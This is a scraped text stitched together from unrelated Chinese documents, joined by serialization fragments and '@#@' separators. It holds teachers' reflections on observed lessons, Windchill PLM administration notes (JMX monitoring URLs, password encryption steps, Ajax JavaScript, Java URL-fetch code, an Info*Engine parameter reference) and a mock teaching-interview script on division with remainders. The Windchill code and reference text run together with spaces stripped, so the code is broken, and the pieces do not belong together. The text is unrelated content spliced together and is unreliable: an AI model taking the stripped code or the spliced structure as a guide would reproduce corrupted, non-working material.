@#@如”今日事今日毕,我们决不拖延”,”正课与自习一分钟也不让自己闲下来,紧张而积极,你的收获会让你更加喜悦”,”脚踏实地山让路,持之以恒海可移”。
@#@这些名言会激励学生严于律己,做事坚持不懈,很实用。
@#@学校充分利用校园环境教育学生并激发学生的自信心和学习积极性,利用教室走廊墙壁,随时给学生提供学习的知识,这些方面非常值得我们好好借鉴。
@#@@#@六、精细化的学校管理@#@俗话说的好,“思路决定出路,细节决定成败”。
@#@xx二中校园每项工作都做得非常细致,如在卫生环境上几乎看不到一片纸屑。
@#@学校管理采取无缝隙管理,而且教师队伍年轻,这点与我们鱼河峁中学非常相似。
@#@但xx二中对新教师上岗之前的培训是值得我们好好思考的,在那里一名新任教师要进行20天左右的培训和严格考试才能进教室上课。
@#@通过这些内容充实、实用的培训,新上任教师的成长也就快了很多。
@#@@#@学校完善的奖惩制度也很值得学习,尤其是对一线教师和备课组的评价,能充分调动一线教师和备课组长的积极性,因此才能搞好集体备课,拉动各位教师的成长。
@#@尽管学校要求教师坐班时间不长,但很多老师能坚持坐班到10点,这可能就是完善的奖惩制度所体现的结果吧。
@#@@#@教师外出听课学习心得体会范文4@#@这次参加校级教研活动,听了三位数学教师的公开课,使我感受颇深,受益匪浅。
@#@针对这三节课,我谈谈自己的感受:
@#@@#@一、关注问题情境的创设@#@教学的艺术,不是传授而是激发和唤醒,所以老师要利用学生非常熟悉的生活材料,引发学生的数学思考。
@#@在《折扣》一课中,教师从学生感兴趣的逛大世界商场购物入手,激发学生的学习兴趣和求知欲,让学生切实的感受到了数学知识来源于生活,生活中数学问题处处存在。
@#@这样既调动了学生的学习兴趣,又为接下来的数学教学进行了情感铺垫。
@#@@#@二、注重学生的自主探索@#@新课标强调:
@#@教师要让学生“学会”变为“会学”,变“要我学”为“我要学”。
@#@教师在教学过程中成为了学生学习的帮助者、合作者、引导者。
@#@每一个教学环节,教师只作恰如其分的点拨,不能一问一答的大包大揽。
@#@创设自由、和谐的学习氛围,把学习的主动权真正交给学生,指导学生学会学习,让学生积极思考,大胆尝试,在主动探索中提高学生的学习能力,掌握学习的方法,获取成功并体验成功的喜悦。
@#@@#@三、教师的激励到位@#@三位老师对学生的赞扬和鼓励不断。
@#@如“你说的真好”“你真棒”“你真了不起”等等。
@#@这些看似微不足道的评价语言,在学生的心里却可以激起不小的情感波澜。
@#@对于整个教学效果的提高也起到了相当程度的积极影响。
@#@@#@四、合作交流与动手实践相结合@#@三位老师在不同程度上都能够让学生在动手操作中进行独立思考,与同伴交流,并给足学生动手、观察、交流、合作的时间和空间,让学生在具体操作活动中获得知识,体验知识的形成过程。
@#@如《认识几分之一》一课中,生生合作、师生合作在动手折一折中,认识二分之一、四分之一和八分之一;@#@在《可能性》一课中,教师让学生在抛硬币、转转盘活动中领悟事件发生的可能性和游戏规则的公平性。
@#@@#@五、练习设计有层次性@#@练习设计重视促进学生数学思维的不断发展。
@#@如《折扣》一课中,教师先让学生明白几折就是百分之几十,打几折表示按原价的百分之几十销售;@#@然后设计已知原价和折扣,求现价的问题;@#@再设计已知现价和折扣,求原价的问题以及已知原价和现价,求折扣的问题;@#@最后又出示已知原价和折扣,求现价比原价便宜多少钱的问题。
@#@整个教学设计环环相扣,步步深入,每个问题都是扎扎实实得到解决。
@#@@#@总之,本次校级教研活动,让我收获很多,感触很深,觉得自己要学习的东西很多很多。
@#@在今后的工作中,我还要加强学习,在实践中加强探索总结,争取进步。
@#@@#@教师外出听课学习心得体会范文5@#@此次听课收获很大,受益匪浅,每一节课都有亮点,都让我耳目一新,豁然开朗。
@#@不仅让我领略到了各位语文教师的教学风采,也让我从中发觉到了在课堂教学方面自身的不足。
@#@下面就谈谈我个人的一些心得体会。
@#@@#@第一、朴实大气的课堂@#@每位讲课的教师没有刻意追求语言的华丽、课件的精美,更没有摆那些好看而不实用的花架子。
@#@他们完全是站在学生的角度去考虑,呈现在听课教师面前的是真实的、常态下的课。
@#@没有很多浮躁的、形式上的东西,让人感觉自然、亲切,让我们真正体会到语文课堂教学的朴素与扎实。
@#@@#@第二、教学课件制作简洁实用@#@本次参加赛课的教师所制作的课件大部分都是用幻灯片制作的,无论从课题材料的搜集上还是从视听效果上,都非常富有创意,简洁而实用,引人入胜,而且大多数都引用了视频型的文件,既形象又生动。
@#@充分激发了学生的学习兴趣,更有利于学生对所学知识得牢固掌握。
@#@@#@第三、精心独到的课堂设计@#@教学设计是教师为达到预期教学目的,按照教学规律,对教学活动进行系统规划的过程。
@#@从每位老师的课堂教学中,我们能感受到教师的准备是相当充分的:
@#@不仅“备”教材,还“备”学生。
@#@每位老师都有自己的教学风格,都有自己的特点。
@#@每位老师的课,都设计精巧,能最大程度地调动学生的学习积极性,充分挖掘学生的潜力。
@#@在练习设计方面针对性也很强,贴近学生生活实际,分层合理得当。
@#@课堂效率很高,收到了良好的教学效果。
@#@@#@第四、注重朗读的指导,训练。
@#@@#@语文教学重视学生的读。
@#@多读,让学生在读的过程中来感悟。
@#@每位教师的授课,都特别强调对学生的朗读指导和训练。
@#@读的形式多种多样,范读、集体读,指名读、小组读。
@#@而且,还注重让学生通过读去充分体会课文的内容和深刻含义,学生读的感情不到位,感情不充沛,教师先让学生起来评价,并帮助同学读好。
@#@有些地方学生实在读不好,教师再做最后指导。
@#@@#@第五、师生互动环节引人入胜,氛围融洽。
@#@@#@在语文教学中,根据学生的心理发展特点,把枯燥、呆板的课堂教学改变了,从而也培养了学生学习语文的兴趣,激发了孩子的求知欲。
@#@尤其是在听课过程中,我更加深刻的体会到这些语文教师教学方法的与众不同,我们感受到老师和学生之间是如此的默契……看到每个老师都精心的设计每一堂课,从板书、图片、内容,那种工作态度与热情都值得我们每个人去学习,我在以后的工作中,要学习他们的优秀经验,让自己的课堂也活跃起来,真正让学生在快乐的氛围中学习。
@#@@#@每位教师都能根据学生的知识水平、认知能力设计教学的各个环节,每一个细节之处都体现了匠心独到之处。
@#@我将以这次观摩课为契机对自己严格要求,从各方面找不足、找差距,一点一点的进步,一点一点的学习,努力迈上一个新的台阶。
@#@@#@教师外出听课学习心得体会范文6@#@前几天有幸参加了苏州吴江市震泽中学的听课学习活动。
@#@听了两位老师的课,我感触很深,瘦弱颇多。
@#@@#@用一句古话“授人以鱼不如授人以渔”最能概括我的体会,这句话的意思也就是方法比知识更加重要,学习方法是否科学,思维方法是否合理、正确,影响着学生的学习效率的高低。
@#@因此,我们教师在上课过程中应当抓住机会,知道学生学习,将“渔”的能力教给学生,使学生不但能够学会,而且能使学生“会学”,让学生了解掌握语文的学习方法,发展思维,形成能力,能独立解决问题。
@#@这种“渔”的方法我觉得也适用于其他学科。
@#@@#@在刘朱刚上的诗歌鉴赏这以复习鉴赏课中,方法的教授体现得尤为突出。
@#@刘朱刚老师在上课的开始用复习旧知识引入新的知识,这样就达到了“温故而知新”的效果,当学生面对学案中提出的问题时,刘朱刚老师又渗透着诗歌鉴赏的方法性,渗透着方法性教学。
@#@@#@第二位老师是顾老师的课,她的课思路很清晰,环节流畅,她讲的是《始得西山宴游记》第二课时。
@#@刘老师抓住重点“始得”并贯穿全文,重点突出,层次分明。
@#@可见刘老师的课扎实有效,注重激发学生的兴趣,她上课也比较自然、流畅,富有感染力,值得我去学习!
@#@@#@这两位老师的课将学生的主体性体现得非常突出,自己扮演着主导角色,她们运用多种教学方法引导学生积极主动地学习,让学生掌握语文基础知识和基本能力,为学生进一步学习打好基础。
@#@@#@听了她们的课后,我深刻地反思自己的教学过程,感慨万千,在语文的教学过程中,自己虽然也认真投入,但跟她们比,实在还有相当大的差距,我没有达到一定的高度,很多教学环节设置没有深度,在点拨功夫上还有所欠缺,尤其是课堂评价语言,我更是单调,没能很好地激发学生的学习热情,致使语文教学成绩没能达到预想的效果。
@#@听了她们的课,我学到了很多,今后自己一定将所学到的教学方法应用到自己的教学中去,尽快地提高自己的教学能力,不辜负领导和学生的期望。
@#@@#@教师外出听课学习心得体会范文7@#@前几天我有幸参加了佛山石湾一小的听课学习活动。
@#@听了两位老师的课,我感触很深,收获颇多。
@#@@#@第一节是陈惠贞老师的新授课《两位数加一位数和整十数》。
@#@传统教学只注重老师的讲,而轻视学生的说,这样导致课堂死气沉沉,教学是昏昏欲睡,而在这节课上,互动的成分比较多,学生不再是听众,而是整节课的重要参与者,老师和学生是在相互讨论和交流的基础上完成整节课的,整个课堂气氛活跃,在这种乐学的过程中,学生更容易接受课堂上的内容。
@#@第二节是麦老师的新授课《通分》,这节课老师充分调动学生学习积极性,注重发展学生的思维能力。
@#@@#@在听课活动中,我看到了两位老师朝气蓬勃、充满激情的教学,还有他们善于挖掘新事物,以及他们有着先进的教学理念和教学思想,并具有丰富的教学经验和清晰的教学思路。
@#@在听课的同时,我回想到了自己在教学中存在的一些问题,从他们的教学活动中让我学到了很多。
@#@这次听课我有几点体会:
@#@@#@1、体现课标精神,重视营造愉快课堂。
@#@@#@通过观摩一系列的展示课,感受到每位老师都是在努力体现新课标的要求。
@#@新课标指出学生的数学学习活动应该是一个生动活泼的,主动的和富有个性的过程。
@#@现在的数学课堂教学不再是单一的教师教,学生学的过程,而是学生在教师的引导下主动探究,师生合作交流的愉快的课堂活动。
@#@我们看到每位教师都体现重视营造和谐,愉快的课堂。
@#@师生在课堂中不再是原来传统教学中的传授者和接受者,施与者和容纳者;@#@现在课堂中的,学生才是学习的主人,教师是学习活动中的组织者,引导者与合作者。
@#@@#@2、体现数学与生活的联系,重视创设教学情景。
@#@@#@新课程标准要求孩子的学习内容是现实的,有意义的,富有挑战性的。
@#@在这些课中,教师都重视创设贴近学生生活实际的教学情景,从情景中引入要学习的内容,激发学生探究的兴趣和欲望,使学生体会到数学知识就在我们身边,理解数学与生活的联系,有利于学生主动地进行观察,实践,猜测,验证,推理与交流等数学活动。
@#@@#@3、体现主动性学习,重视学生的动手操作。
@#@@#@在教学设计中,越来越多的老师开始重视孩子的动手操作,重视孩子的手脑结合。
@#@要想真正的学好知识就是要学生们主动地参与到学习活动中来,那么动手操作就是孩子们最好的学习活动。
@#@学生们在老师的指导下,动手操作,自主探究,合作交流的学习知识。
@#@@#@4、体现常规教学能力,重视双基训练的落实。
@#@@#@纵贯这些展示课,我们感觉老师们的常规教学能力都非常强,十分重视学生双基训练的落实,不是原来那种华而不实的评优课,是扎扎实实的常规教学研究活动。
@#@这些课内容很扎实,课堂容量很大。
@#@@#@5、体现教学资源优势,重视现代信息技术的应用。
@#@@#@现代信息技术的发展对数学教育的价值,目标,内容以及学与教的方式产生了重大的影响,在听过的这些课中,每位教师都根据自己的教学需要使用了现代信息技术,这些现代技术的应用,突出了教学重点和难点,提高了课堂效率。
@#@@#@总之,这次外出听课学习,使我更深刻地体会到了学习的重要性与紧迫感。
@#@在此,我要感谢教研室领导和学校领导给了我这次学习的机会。
@#@在以后的教学中,我要本着吃透教材,吃透学生,提升自身素质去努力,不断学习,博采众长,充分利用一切学习机会,学习百家而顿悟,积淀教学素养。
@#@对课堂教学不断探索,走出适合自己的教学路子。
@#@@#@@#@";i:
19;s:
11568:
"Windchill监控工具@#@windchill系统管理之--Windchill监控工具@#@java默认监控工具Jconsole@#@监控methodserver的运行情况:
@#@@#@service:
@#@jmx:
@#@rmi:
@#@//<@#@hosts>@#@:
@#@6049/jndi/rmi:
@#@//<@#@hosts>@#@:
@#@6049/jmxrmi@#@监控tomcat的运行情况:
@#@@#@service:
@#@jmx:
@#@rmi:
@#@//<@#@hosts>@#@:
@#@8999/jndi/rmi:
@#@//<@#@hosts>@#@:
@#@8999/jmxrmi@#@windchill系统管理之--WindchillRelease操作工具@#@发布历史记录:
@#@@#@发布管理工具目录:
@#@@#@重启terminate的ESI流程:
@#@@#@先把EC状态设成Cancelled,再执行@#@XXX是ECNumber@#@wt.load.LoadFromFile参数解释@#@-dFullpathnameoffilewithdatatobeloaded.@#@-mFullpathnameoffilewithmappingofattributenamestosequenceofdatainthedatafile.@#@-oNotcurrentlyimplemented.Tobeatraceorrecoveryfile.@#@-tThetokenusedtodelimitfieldsofdatainthedatafile.@#@-gAstringusedwiththeobjectname(thefirstfield)fromthedatafiletokeyintothemapdatafile.Thelineinthemapdatafilewillthencontainthemethodnametopassthisinformationtoandtheorderedlistoffieldnamestomatchwiththelineinthedatafile.@#@-uTheusertoexecutethemethod,ifnouserisgiveninthelinefromthedatafile.@#@-pSpecifiesthepasswordfortheauthenticatinguser.Thepasswordargumentisoptionalforthecommandline,however,theLoadFromFileutilitywillpromptforuserauthenticationusingapop-upwindow.@#@-CONT_PATHSpecifiesthetargetcontainerforthedatawhenthetargetcontainerisnot"@#@Exchange"@#@.Bydefault,thetargetcontaineris"@#@Exchange"@#@.@#@cmd_line-Name/Valuevariablesthatcanbesubstitutedintothedatafromthedatafile.@#@windchill系统管理之--密码管理@#@windchill中很多配置文件使用明文管理,特别是比较敏感的密码。
@#@@#@但是在WC10中增加了关于如果进行明文加密的功能,可以说是一个漏掉的修复。
@#@@#@一.对明文加密@#@1.使用xconfmanager进行加密@#@1>@#@修改/bin/adminTools/sip/validProperties.list,将要加密的propertieskey加到这个文件中@#@2>@#@执行/bin/xconfmanager–s=–p命令,进行加密和传播@#@2.使用EncryptPasswords进行加密@#@1>@#@修改/bin/adminTools/sip/validProperties.list,将要加密的propertieskey加到这个文件中@#@2>@#@执行/bin/adminTools/sip/EncryptPasswords.xmlencryptPw–DpropertyName=@#@-Dpassword=进行加密@#@WC10的AjaxRequest对象的构建函数@#@//Dynamicobjectcreation-mindingthenamespaceissues...@#@varpAjax=newObject();@#@@#@pAjax.ContentLoader=function(url,onload,onerror,method,params){@#@//Whereurlis..theurl@#@//Whereonloadisthecallbackfunctiononsuccess@#@//Whereonerrorisacustomerrorhandleronfailure@#@//WheremethodiseitherGETorPOST@#@//Whereparamsareformparameterstobepassedtotheurl@#@this.url=url;@#@@#@this.req=null;@#@@#@this.shouldContinue=true;@#@@#@//passthereferencetothecallbackfunction@#@this.onload=onload;@#@@#@this.onerror=(onerror)?
@#@onerror:
@#@this.defaultError@#@this.shouldContinue=this.loadXMLDoc(url,method,params);@#@@#@returnthis.shouldContinue;@#@@#@}@#@//简单处理response值@#@varurlValue="@#@netmarkets/jsp/plan/planMilestonesAssociate.jsp"@#@;@#@@#@varparams="@#@selectedProject="@#@+oid;@#@@#@varloader=newajax.ContentLoader(urlValue,null,null,'@#@POST'@#@,params);@#@@#@vardata=loader.req.responseText;@#@@#@document.getElementByIdx_x("@#@milestonePikcer"@#@).innerHTML=data;@#@@#@ @#@@#@//通过设置返回值处理函数处理response值@#@functiondashboardOrgPickerCallBack(objects)@#@{@#@if(document.getElementByIdx_x("@#@containerOrgTypeList$label$"@#@)!
@#@=null)document.getElementByIdx_x("@#@containerOrgTypeList$label$"@#@).value=objects.pickedObject[0].orgId;@#@@#@varjspName="@#@netmarkets/jsp/workflow/fetchActualObject.jsp"@#@;@#@@#@varfullURL=jspName;@#@@#@varselection="@#@OrgName="@#@+objects.pickedObject[0].orgId;@#@@#@varloader=newajax.ContentLoader(fullURL,organizationValue,null,'@#@POST'@#@,selection);@#@@#@}@#@functionorganizationValue(){@#@if(this.req.readyState==4){@#@if(this.req.status==200){@#@varresponse=newString(this.req.responseText);@#@@#@vartemp1=response.split("@#@OR"@#@);@#@@#@varresult="@#@OR"@#@+temp1[1];@#@@#@setContainerToRefineContextPicker(result);@#@@#@}@#@}@#@}@#@关于使用task创建文档及附件的几种方法@#@(2012-11-2011:
@#@06:
@#@32)@#@标签:
@#@@#@tasks@#@add-contentitem@#@杂谈@#@关于使用task创建文档及附件的几种方法:
@#@@#@1.通过上传附件,在session中设置BLOB_COUNT=1@#@2.通过URL获取inputstream@#@3.通过本地文件@#@对于第一种方法,有很多OOTB的例子,这里就忽略,重点说后两钟。
@#@@#@关于URL:
@#@@#@@#@.URLneturl=new.URL(url);@#@@#@.HttpURLConnectionconnection=(.HttpURLConnection)neturl.openConnection();@#@@#@connection.setRequestMethod("@#@GET"@#@);@#@@#@byte[]b=Base64.encode(user_password.getBytes("@#@UTF-8"@#@));@#@@#@Strings=newString(b,"@#@UTF-8"@#@);@#@@#@connection.setInstanceFollowRedirects(false);@#@@#@connection.setRequestProperty("@#@Authorization"@#@,"@#@Basic"@#@+s);@#@@#@connection.connect();@#@@#@com.infoengine.object.IeMultipartInputStreaminputstream=@#@newcom.infoengine.object.IeMultipartInputStream(connection.getInputStream(),"@#@application/octet-stream"@#@,fileName,fileName);@#@@#@setInputStream(inputstream);@#@@#@ @#@@#@关于本地文件:
@#@@#@@#@@#@@#@@#@@#@@#@@#@STAGED_FILE_ID和STAGING_AREA必须成对出现,其中STAGING_AREA是相对路径,实际读取文件系统会拼接一个绝对路径出来:
@#@{wt.adapter.stagingAreaRoot}/STAGING_AREA/username@#@其中wt.adapter.stagingAreaRoot是wt.properties里面的一个属性,默认值是在WT_HOME/tmp目录,@#@username就是执行这个tasks的用户名@#@STAGING_AREA可以是多级目录@#@ @#@@#@下面附录Add-ContentItems的详细说明:
@#@@#@data="@#@$(@SERVER[]accept_language[])"@#@/>@#@@#@data="@#@$(@SERVER[]authorization[0])"@#@/>@#@@#@ATTRIBUTE@#@Specifiestheattributestobereturnedintheoutputgroupforeachobject.Multiple@#@valuescanbespecifiedforthisparameter.Ifthisparameterisnotspecified,a@#@defaultsetofattributesisreturned.Thedefaultsetofattributesforatypeis@#@configuredinaDefaultAttributespropertyvalueofthe@#@wt.adapter.delegates.propertiesfile.IfaDefaultAttributespropertyisnotdefined,@#@allattributesofallobjectsarereturned.Thisparameterisoptional.@#@AUTHORIZATION@#@SpecifiesavalidHTTPAuthorizationheadervalue.OnlyHTTPbasic@#@Authenticationissupported.Ifspecified,thisparameterservesasthesourceofthe@#@usernameandpasswordtoassociatewiththeexecutionofthewebject,and@#@DBUSERandPASSWDareignored.Ifcredentialsarenotsuppliedviathe@#@AUTHORIZATION/DBUSER/PASSWDparameters,Info*Engineattemptsto@#@providevaluesfortheseparametersbywayofitscredentialsmapping@#@mechanism.@#@Note:
@#@InastandardWindchillinstallation,requestsigningisalwaysconfigured,@#@whichmeanstheserverwilltrusttheusernamesuppliedtothewebserverfor@#@authentication.Thisusernamewillbeusedduringwebjectinvocationroutedto@#@thelocalWindchillandtheDBUSER,PASSWD,andAUTHORIZATION@#@parametervalueswillbeignored.Formoreinformationaboutauthenticationand@#@userauthenticationspecifications,seetheInfo*EngineUser'@#@sGuide.@#@CONNECTION_ATTEMPTS@#@Definesthemaximumnumberoftimestoattemptestablishingaconnectiontoan@#@adapterbeforereturninganerror.Thedefaultvalueis1.Thisparameteris@#@optional.@#@IfmultipleINSTANCEparametervaluesarespecified,thevalueof@#@CONNECTION_ATTEMPTSdefinesthemaximumnumberoftimestoiterate@#@throughthelistofadapterinstances.@#@4-10WindchillAdapterGuide@#@CONNECTION_ATTEMPT_INTERVAL@#@Definestheamountoftime,inseconds,todelaybetweenconnectionattempts@#@whenconnectionstoaWindchillsystemarefailing.Thedefaultvalueis60@#@seconds.Thisparameterisoptional.@#@IfmultipleINSTANCEparametervaluesarespecified,thevalueof@#@CONNECTION_ATTEMPT_INTERVALdefinesthenumberofsecondstowait@#@betweentheattemptstoiteratethroughtheentirelistofadapterinstances.@#@CONTAINER_REF@#@SpecifiesaWindchillcontainertoapplythewebjectagainst.Thisparameter@#@acceptsthefollowingtypesofinput:
@#@@#@•TheUFIDofaWindchillcontainer.MultipleUFIDscanbespecifiedforthis@#@parameter.@#@•MEMBERSHIP-SpecifyingMEMBERSHIPasthevalueforthisparameter@#@causesforthequerytofindonlythosecontainersofwhichtheuserisa@#@member.@#@Whenthisparameterisspecified,thescopeofqueriesexecutedagainsttheTYPE@#@andWHEREparametersarerestrictedtotheassociatedcontainer.@#@DBUSER@#@TheDBUSERwebjectspecifiestheusernametousewhenauthenticatingtothe@#@Windchillsystem.Forthisparametertobeapplied,PASSSWDmustalsobe@#@specified.IfAUTHORIZATIONisspecified,DBUSERandPASSWDare@#@ignored.Ifcredentialsarenotsuppliedviathe@#@AUTHORIZATION/DBUSER/PASSWDparameters,Info*Engineattemptsto@#@providevaluesfortheseparametersbywayofitscredentialsmapping@#@mechanism.@#@Note:
@#@InastandardWindchillinstallation,requestsigningisalwaysconfigured,@#@whichmeanstheserverwilltrusttheusernamesuppliedtothewebserverfor@#@authentication.Thisusernamewillbeusedduringwebjectinvocationroutedto@#@thelocalWindchillandtheDBUSER,PASSWD,andAUTHORIZATION@#@parametervalueswillbeignored.@#@Formoreinformationaboutauthenticationanduserauthenticationspecifications,@#@seetheInfo*EngineUser'@#@sGuide.@#@DESCRIPTION@#@Specifiesthedescriptionofacorrespondingcontentitem.Eachinstanceofthe@#@DESCRIPTIONparametercorrespondstoacontentitemandspecifiesthe@#@descriptionofthatcontentitem.IfnoDESCRIPTIONparametersarespecified,@#@thedescriptionofthecontentitemsdefaultstoanemptystring.Similarly,ifthere@#@arefewerDESCRIPTIONparametersthancontentitems,emptystringsare@#@implicitlyaddedtothelistofDESCRIPTIONparameters.Thisparameteris@#@optional.@#@TheWebjectLibrary4-11@#@DESCRIPTOR@#@Specifiesthenameofanattributetobeincludedinthecommandfilterofthe@#@underlyingcommandexecutedbyawebject.Thisparametermaybespecified@#@morethanoncetoidentifymultipleattributenamestobeincludedinthefilter.@#@Thesearetheattributesthatwillbereturnedindatabasequeriesexecutedbythe@#@underlyingcommand.Inmostcases,thissetofattributesiscombinedwiththeset@#@ofattributesidentifiedbyATTRIBUTEparameters.However,ATTRIBUTE@#@parametersalsodeterminethesetofattributesreturnedineachelementofa@#@webject'@#@soutputgroupwhileDESCRIPTORparametershelpcontrolthebusiness@#@objectattributesselectedfromthedatabasebyWindchillcomm";i:
20;s:
29553:
"教师资格证小学数学面试真题示范逐字稿@#@《有余数的除法》@#@【知识与能力目标】@#@1.掌握有余数的除法竖式的书写方法;@#@@#@2.知道除法竖式中各部分的名称,并理解除法竖式中每个数的含义。
@#@@#@【过程与方法目标】@#@1.通过合作与交流,感受算法的多样化,体会事物间的普遍联系;@#@@#@2.通过观察、操作、对比等活动,培养初步的观察、分析和概括的能力,学会与人合作,并能与他人交流思考的过程和结果。
@#@@#@【情感态度价值观目标】@#@1.通过观察、操作、解决问题等学习活动,体验学数学、用数学的乐趣;@#@@#@2.在生活中运用有余数的除法解决实际问题,感受数学与日常生活的密切联系。
@#@@#@【教学重点】@#@掌握除法竖式的书写方法及每个数的含义。
@#@@#@【教学难点】@#@理解除法竖式中每个数的含义。
@#@@#@尊敬的各位评委老师,上午好!
@#@今天我试讲的课题是:
@#@有余数的除法,下面开始我的试讲。
@#@@#@同学们,上课,同学们好,请坐。
@#@@#@
(一)导入新课@#@同学们,我们已经学过了用摆小棒的方法来解决有余数的除法问题,现在,我们就来试试看大家掌握的怎么样?
@#@我们来看PPT上的内容:
@#@16根小棒,每5根一组。
@#@@#@填空:
@#@()根小棒,()根一组,能够分()组,还剩()根。
@#@@#@现在给大家3分钟时间,独立解决,完成后汇报结果,并说说每个数字的含义。
@#@@#@谁来回答下?
@#@哦~都想回答啊,那大家一起说,老师填写吧,大家刚才的回答很不错。
@#@但刚刚你们用的都是通过摆小棒的方法,我们今天要继续学习有余数的除法,方法可能不太一样,大家要开动脑筋,多动口、勤动手。
@#@@#@上节课我们学习过在做有余数的除法时,要注意什么?
@#@嗯对的,余数要比除数小。
@#@恩,看来大家对昨天的知识都掌握的非常好。
@#@根据这个知识,我们继续今天的数学之旅——有余数的除法。
@#@@#@
(一)导入新课@#@上课之前呢,老师想问问你们,有没有看过小猪佩奇呀?
@#@哎呀!
@#@都看过呀!
@#@可是今天小猪佩奇遇到困难了,你们想不想帮助她呀?
@#@嗯!
@#@你们可真棒!
@#@都想帮助她,那我们一起来看看小猪佩奇到底遇到什么难题了?
@#@请看PPT,偶!
@#@原来是这样!
@#@小猪佩奇带来了16颗诱人的大草莓,他想把他们分给他的小伙伴,每个小伙伴分5颗草莓,可是他不知道能分给几个小朋友?
@#@同学们,你们知道吗?
@#@现在老师给你们2分钟的时间自己思考,看看哪个小朋友能帮助小猪佩奇,时间到,同学们有结果了吗?
@#@哦~老师已经听到同学们说可以分给3个小朋友,他自己还可以留下一个!
@#@都回答得非常棒。
@#@你们是用什么方法计算出来的呢?
@#@哦,摆小棒,思维很活跃,这也是我们上一节课学习的方法。
@#@那么老师想问你们还有没有其他的方法计算出来呢?
@#@哦,大家都在摇头,没关系,这就是我们这节课要继续学习的内容——有余数的除法。
@#@@#@
(二)新课讲授@#@1.合作交流,初步感知@#@现在继续我们的数学王国之旅吧!
@#@好,同学们请看PPT上面的内容,老师这里呀有13根小棒,每4根一组,能分几组?
@#@有思路吗?
@#@先自己想一想,然后启用我们4人作战小组模式,让我们相互讨论,看能讨论出多少种解题方法,时间限定5分钟,讨论结束后,我要请小组来讲讲你们作战策略,好,开始吧!
@#@嗯!
@#@我看同学们已经准备好了,哪个小组先来汇报呢?
@#@好,银河小分队你们来说说你们的策略吧!
@#@哦!
@#@原来是利用摆小棒的方法,那你们能不能来前面给大家演示一下呢?
@#@奥,一共有13根小棒,按照4根为一组,所以摆了3组,3组是12根小棒,最终还余下了一根,同学们你们同意吗,嗯!
@#@大家都认为是正确的,看来你们的作战策略都是一样的呀!
@#@诶呀,火星小分队有不同方法,你们来说一说,奥,原来他们用的是画图的的方法,一个小竖线代表一根小棒,结果和银河小分队是一样的,嗯,你们太聪明了,当我们手上没有工具的时候,可以用图来表示工具,那同学们除了摆小棒和画图的方法你们还有别的方法吗?
@#@哦?
@#@~三组小组长有不同方法,哦~他是直接列算式,用除法就可以解决。
@#@一共13根小棒,每4根一组,能分几组?
@#@也就是看13里面有几个4,用除法解决。
@#@13÷@#@4=3(组)……1(根),三组同学对除法的意义掌握的很好,算式也是解决问题的好方法。
@#@同学们想出了这么多的好办法,现在观察对比,看着三种方法有什么区别和联系?
@#@对的,都是将小棒进行平均分的过程,算法不同。
@#@那大家觉得哪种方法更简便呢?
@#@对,用除法解决更简便。
@#@@#@2.探究除法竖式,明确含义@#@同学们,以前我们学习了加法、减法、乘法的竖式,除法除了刚才摆一摆、画一画、列横式的方法外,也可以写成竖式。
@#@大家请看黑板上老师写的除法竖式。
@#@大家仔细观察,除法竖式跟我们学习的加法、减法、乘法的竖式有什么不同?
@#@里面的数字又有什么含义,同学们独立思考,时间5分钟,等下找同学来回答。
@#@@#@谁来回答一下,好,小红,你做的最端正,举手也最快了,你来说,嗯,她说呀~加法、减法、乘法的竖式都是从上往下写,除法不是。
@#@@#@同学们观察能力可真强,那大家想一想,为什么除法的竖式写法跟其他的不一样呢?
@#@@#@哦~老师听到课代表说因为除法中有余数,如果从上往下写,就没有写余数的位置了。
@#@@#@课代表不仅有一双火眼金睛,还有善于思考的大脑,真棒。
@#@现在大家都认识这个不一样的竖式宝宝了,那跟老师一起来写一写吧。
@#@我们用一横一撇表示除号,现在我们边分小棒,边说分的过程,同时写出竖式。
@#@有13根小棒,先写“13”,每4根分一组,也就是除以4,被除数13在除号的里面,除数4写在除号的外面。
@#@@#@我们重新分一分小棒,结果是什么?
@#@对,可以分成3组,“3”写在哪里呢?
@#@哦,大家异口同声的告诉了老师,写在13的上面,与个位对齐。
@#@那为什么写在个位上?
@#@对,因为这个3表示分成的3组,是3个一,要写在个位上。
@#@要分13根小棒,现在已经分掉了多少根?
@#@表示什么意思?
@#@@#@好,而组小组长你来说,他说呀~是分了3组,每组4根,一共12根。
@#@表示在13根里已经分掉了12根。
@#@@#@嗯,回答的很准确,思路很清晰,现在我们就把这个12写在13的下面,与13数位对齐,再在“12”的下方画一条横线表示按要求分了一次。
@#@分完之后结束了吗?
@#@对,没有,还有剩余。
@#@要平均分13根小棒,已经分了12根,还剩1根,这个“1”写在横线的下面,表示分完后剩余的不能再分了。
@#@@#@好啦,这就是我们除法竖式的整个过程了,你们会了吗?
@#@想不想自己试一试?
@#@你们都想啊!
@#@@#@3.类比迁移,总结规律@#@好,同学们请看PPT,现在老师呀有16根小棒,每4根为一组,能分几组呢?
@#@你能不能用刚刚学到的数学知识来解决我的问题吗?
@#@解决完之后再看一看这道题和之前学习的内容有什么不一样?
@#@给大家5分钟时间进行先独立探究再小组之间讨论,给同学们5分钟解决刚刚老师提出的问题。
@#@讨论中有什么问题,大家可以再老师巡视过程中问老师,开始吧。
@#@诶?
@#@!
@#@老师发现你们都做完了,那你们能不能回答老师的问题呢,奥!
@#@大家的手举得跟小树林似的,那就穿红色衣服的那位女生来说一下吧,大家仔细听~能分4组,余数变成0了?
@#@!
@#@那你能告诉同学们0代表什么呢?
@#@嗯,这里的0代表16根小棒都分完了没有剩余,嗯,非常棒,回答正确,诶?
@#@!
@#@你们看,这里有俩个16,你们发现了吗?
@#@他们代表的含义一样吗?
@#@谁能来告诉大家?
@#@好,这位同学你说,奥!
@#@你说不相同因为上面的16是被除数,也是要分得16根小棒,而下面的16表示已经分掉的小棒的根数,嗯非常棒,同学们真聪明!
@#@把我们刚才学的知识已经能熟练应用了。
@#@老师再带着同学们总结下除法竖式的过程,被除数写在除号里面,除数写在除号左边,商写在除号上面,商和除数的乘积写在被除数的下面,横线表示等号,横线下面写余数。
@#@@#@(三)巩固练习@#@大家对有余数的除法都掌握了吗?
@#@都掌握了呀~那老师要考考大家了。
@#@我们看PPT,这里有2道除法计算题,请大家用竖式计算,比一比谁做的又对又快。
@#@做完的同学继续完成做一做第2题,一卷绳子长39米,做一根长跳绳用7米,这卷身子可以做多少根长跳绳?
@#@还剩多少米?
@#@给大家5分钟的时间,做完后老师要订正答案哦~好,开始吧。
@#@@#@好,可以了,同学们做完了吗?
@#@好我们对一下答案!
@#@都做对的同学举手!
@#@哇,老师看见了成片成片的小树林,看来同学们对这结课掌握的知识已经很牢固啦!
